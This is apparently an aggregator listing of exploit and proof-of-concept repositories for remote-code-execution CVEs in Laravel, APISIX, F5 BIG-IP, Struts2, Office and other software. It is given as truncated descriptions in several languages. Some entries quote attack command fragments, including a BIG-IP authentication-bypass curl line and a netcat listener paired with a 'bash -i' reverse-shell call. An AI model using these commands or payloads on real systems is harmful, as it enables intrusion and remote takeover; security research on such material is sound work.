EUVD-2026-80699

A stack overflow during the unauthenticated login process may allow an attacker to run arbitrary code remotely with root privileges...

CVE-2023-47460

CVE-2023-47460 描述 Knovos Discovery v.22.67.0 中存在 SQL 注入漏洞，允许远程攻击者通过 /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure 组件执行任意代码。 漏洞类型 SQL注入 产品供应商 Knovos Discovery 受影响产品代码库 版本 22.67.0 - 版本 22.67.0 受影响组件 /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure 攻击类型 远程 影响代码执行 true 影响信息泄露...

CVE-2025-55182-NextJS-RCE-PoC

CVE-2025-55182 React2Shell 复现环境 ⚠️ 仅供教育用途 本仓库的创建严格限于教育和研究目的。它演示了 React Server Components Next.js 中的一个严重漏洞，以帮助开发者理解相关风险以及更新依赖的重要性。 请勿在生产环境中使用此代码，或将其用于您不拥有的系统。 概述 本项目复现了 CVE-2025-55182 （又称“React2Shell”），这是一个影响 Next.js 应用中 React Server Components 的远程代码执行 RCE 漏洞。 漏洞类型： 通过 RSC 解析器中的原型污染实现未授权 RCE。 受影响版本...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition 远程代码执行 CVSS 9.8（严重） | 不安全的文件操作 → 日志投毒 → Phar 反序列化 → RCE 概述 Laravel Ignition -c "whoami" 参考 NVD — CVE-2021-3129 Ignition 补丁 2.5.2...

CVE-2024-0757-Exploit

CVE-2024-0757 漏洞利用 描述 WordPress 的 Insert or Embed Articulate Content into WordPress 插件在 4.3000000023 及之前的所有版本中，由于对 zip 压缩包中的文件上传处理不安全，因此存在任意文件上传漏洞。这使得未经验证的攻击者能够在受影响站点的服务器上上传包含 phar 文件的 zip 文件，从而有可能实现远程代码执行。 !IMPORTANT CVSS: 8.8（高危） CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 软件类型: 插件 软件标识:...

CVE-2022-24112

Apache APISIX 2.12.x 远程代码执行 RCE 漏洞利用 此 Python 脚本是 Apache APISIX 2.12.0 和 2.12.1 版本中远程代码执行漏洞的概念验证 PoC。 该漏洞源于管理 API 中 filterfunc Lua 字段的误用，允许攻击者注入任意 Lua 代码，通过 io.popen 执行系统命令。命令的响应将通过 ngx.say 在 HTTP 响应中返回。 ⚠️ 免责声明 ：此工具仅用于授权测试和教育目的。请勿在您不拥有或未获得明确测试许可的系统上使用。 🧰 环境要求 Python 3.6+ requests 库 pip install...

CVE-2022-1388

CVE-2022-1388 BIG IP REST RCE 在 16.1.2.2 之前的 F5 BIG-IP 16.1.x 版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的 14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x 和 11.6.x 版本中，未披露的请求可能绕过 iControl REST 身份验证。 使用以下 cURL 单行命令测试此漏洞。 curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4="...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...

CVE-2019-17633

CVE-2019-17633 Eclipse Che CSRF 漏洞导致 RCE 该漏洞允许远程网站在用户访问网页时，在运行早于 7.3.0 和 7.4.1 版本的 Che 的机器上创建并启动任意 docker 容器。 漏洞 这是一个 CSRF 漏洞，允许远程网站在任何以独立模式运行 Eclipse Che 的用户机器上创建并启动 docker 容器。攻击者控制下的众多参数允许进行精确的控制。一些开发人员将 Che 以独立模式运行，作为管理其本地 docker 容器的一种便捷方式。 之所以可能，是因为默认情况下 Che 启用了...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Roundcube Webmail 版本 1.5.0 至 1.6.10 这是一个重写后的利用工具，适用于 PHP。 使用方法 root@kitploit: php CVE-2025-49113.php...

CVE-2017-0199

漏洞利用工具包 CVE-2017-0199 - v4.0 漏洞利用工具包 CVE-2017-0199 - v4.0 是一个方便的 Python 脚本，为渗透测试人员和安全研究人员提供了一种快速有效的方式来测试 Microsoft Office RCE。它可以生成恶意的 RTF/PPSX 文件，并在无需复杂配置的情况下向受害者传递 metasploit / meterpreter / 其他有效载荷。 免责声明 本程序仅供教育目的使用。未经许可不得使用。通常的免责声明适用，尤其是本人 bhdresh...

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 文件上传 RCE CVSS 9.8（严重） | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE-434 ：危险类型文件的不受限制上传 修复版本 ：CodeIgniter 4 v4.7.4 安全公告 ：GHSA-mmj4-63m4-r6h5 漏洞摘要 CodeIgniter 4 的 isimage 和 mimein 文件上传验证规则仅检查基于内容派生的 MIME 类型 （魔数），而不检查 客户端提供的文件扩展名。 未认证的攻击者可以在 PHP webshell...

WebKit-CVE-2016-4622

WebKit CVE-2016-4622 解析：Slice ValueOf Fastpath 脆弱性の詳細 Array.slice 操作を介してメモリ開示を実現する WebKit JavaScript Core 脆弱性の包括的な解析と悪用 目次 エグゼクティブサマリー 脆弱性概要 研究環境のセットアップ 技術解析 悪用手順 主要な発見 リソースと参考文献 エグゼクティブサマリー このリポジトリには CVE-2016-4622 の包括的な解析が含まれています。これは WebKit の JavaScript Core エンジンにおける重要なメモリ開示脆弱性です。この脆弱性は...

CVE-2021-45232-RCE

Apache APISIX Dashboard RCE root@kitploit: usage: -h -u URL -p PORT -c CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url e.g: http://127.0.0.1:9000 -p PORT, --port PORT apisix management port default: 9080 -c CMD, --cmd CMD command default: ifconfig 参...

CVE-2022-28113

Fantec MWiD25-DS CVE-2022-28113 分析报告 作者：@code-byter ========================== 这是一篇关于 Fantec MWiD25-DS 旅行路由器（固件版本：2.000.030）漏洞利用的分析报告。该漏洞允许任何未经授权的用户以 root 身份执行任意命令。备份功能（upload.csp）中的漏洞允许任何用户写入文件，从而无需有效会话 Cookie 即可重置用户密码。利用这些新凭据，攻击者可以登录 Web 界面并利用缓冲区溢出漏洞。设置 WiFi 客户端功能的 SSID...

CVE-2026-25632

CVE-2026-25632 — Deserialización JSON RCE en API REST Desafío de Corrección Inspirado en una vulnerabilidad real de 2026 CVSS 10.0, explotada activamente Basado en: CVE-2026-25632 — Ejecución remota de código mediante deserialización JSON insegura controlada por type, descubierta en la API REST d...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 の環境 デモ サーバーの起動 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 エクスプロイト root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...

CVE-2020-9484

CVE-2020-9484 Apache Tomcat リモートコード実行 CVE-2020-9484 影響を受けるバージョン: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104...

CVE-2025-68613-POC

🚨 CVE-2025-68613: n8n 中的严重 RCE 漏洞 目录 1. 概述 2. 什么是 n8n？ 3. 漏洞基础 4. 技术细节 5. 受影响版本 6. 利用机制 7. 现实影响 8. 检测方法 9. 修复与缓解措施 10. 资源与参考 概述 CVE-2025-68613 是流行开源工作流自动化平台 n8n 中发现的一个严重远程代码执行（RCE） 漏洞。该漏洞允许经过身份验证的用户在服务器上执行任意代码，可能导致系统完全被攻陷。 快速事实 CVE ID ：CVE-2025-68613 CVSS 评分 ：9.9 - 10.0（严重） 漏洞类型 ：表达式注入 → 远程代码执行 C...

Check-vuln-CVE-2019-0708

CVE-2019-0708 Unauthenticated CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. Metasploit module PR: https://github.com/rapid7/metasploit-framework/pull/11869 In this repo A scanner fork of rdesktop that can detect if a host is vulnerable to CVE-2019-0708 Microsoft Windows Remote...